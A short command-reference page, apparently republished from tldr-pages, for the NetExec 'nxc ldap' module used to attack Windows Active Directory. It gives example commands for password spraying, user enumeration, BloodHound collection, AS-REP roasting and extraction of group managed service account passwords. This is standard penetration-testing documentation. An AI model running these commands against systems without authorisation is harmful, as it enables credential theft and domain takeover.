CmdID

CmdID / Commands

nxc-ldap

Pentest and exploit Windows Active Directory Domains via LDAP. tldr-pages

On several platforms

Opens CmdID with your command. It is read in your browser and sent nowhere.

Several platforms

from tldr-pages, CC BY 4.0

Search for valid domain credentials by trying out every combination in the specified lists of usernames and passwords

nxc ldap 192.168.178.2 --username path/to/usernames.txt --password path/to/passwords.txtIdentify

Enumerate active domain users

nxc ldap 192.168.178.2 --username username --password password --active-usersIdentify

Collect data about the targeted domain and automatically import these data into BloodHound

nxc ldap 192.168.178.2 --username username --password password --bloodhound --collection AllIdentify

Attempt to collect AS_REP messages for the specified user in order to perform an ASREPRoasting attack

nxc ldap 192.168.178.2 --username username --password '' --asreproast path/to/output.txtIdentify

Attempt to extract the passwords of group managed service accounts on the domain

nxc ldap 192.168.178.2 --username username --password password --gmsaIdentify